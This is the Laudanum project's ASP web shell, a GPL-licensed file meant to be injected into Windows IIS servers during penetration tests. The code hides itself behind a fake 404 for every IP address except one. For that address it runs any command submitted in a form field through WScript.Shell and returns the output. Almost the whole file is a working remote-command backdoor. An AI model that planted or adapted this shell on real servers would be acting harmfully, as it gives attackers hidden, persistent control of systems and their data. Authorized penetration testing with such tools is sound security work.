<%' *******************************************************************************' ***' *** Laudanum Project' *** A Collection of Injectable Files used during a Penetration Test' ***' *** More information is available at:' *** http://laudanum.professionallyevil.com/' *** laudanum@secureideas.net' ***' *** Project Leads:' *** Kevin Johnson @secureideas <kjohnson@secureideas.com>' *** Tim Medin @timmedin <tim@securitywhole.com>' *** John Sawyer @johnhsawyer <john@inguardians.com>' ***' *** Copyright 2015 by The Laudanum Team' ***' ********************************************************************************' ***' *** Updated and fixed by Robin Wood <Digininja>' *** Updated and fixed by Tim Medin <tim@securitywhole.com>' ***' ********************************************************************************' *** This program is free software; you can redistribute it and/or' *** modify it under the terms of the GNU General Public License' *** as published by the Free Software Foundation; either version 2' *** of the License, or (at your option) any later version.' ***' *** This program is distributed in the hope that it will be useful,' *** but WITHOUT ANY WARRANTY; without even the implied warranty of' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the' *** GNU General Public License for more details.' ***' *** You can get a copy of the GNU General Public License from this' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1' *** You can also write to the Free Software Foundation, Inc., Temple' *** Place - Suite Boston, MA USA.' ***' ***************************************************************************** */' can set this to 0 for never time out but don't want to kill the server if a script' goes into a loop for any reasonServer.ScriptTimeout = 180ip=request.ServerVariables("REMOTE_ADDR")if ip<>"1.2.3.4" then response.Status="404 Page Not Found" response.Write(response.Status) response.Endend ifif Request.Form("submit") <> "" then Dim wshell, intReturn, strPResult cmd = Request.Form("cmd") Response.Write ("Running command: " & cmd & "<br />") set wshell = CreateObject("WScript.Shell") Set objCmd = wShell.Exec(cmd) strPResult = objCmd.StdOut.Readall() response.write "
<pre>" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "</pre>" set wshell = nothingend if%>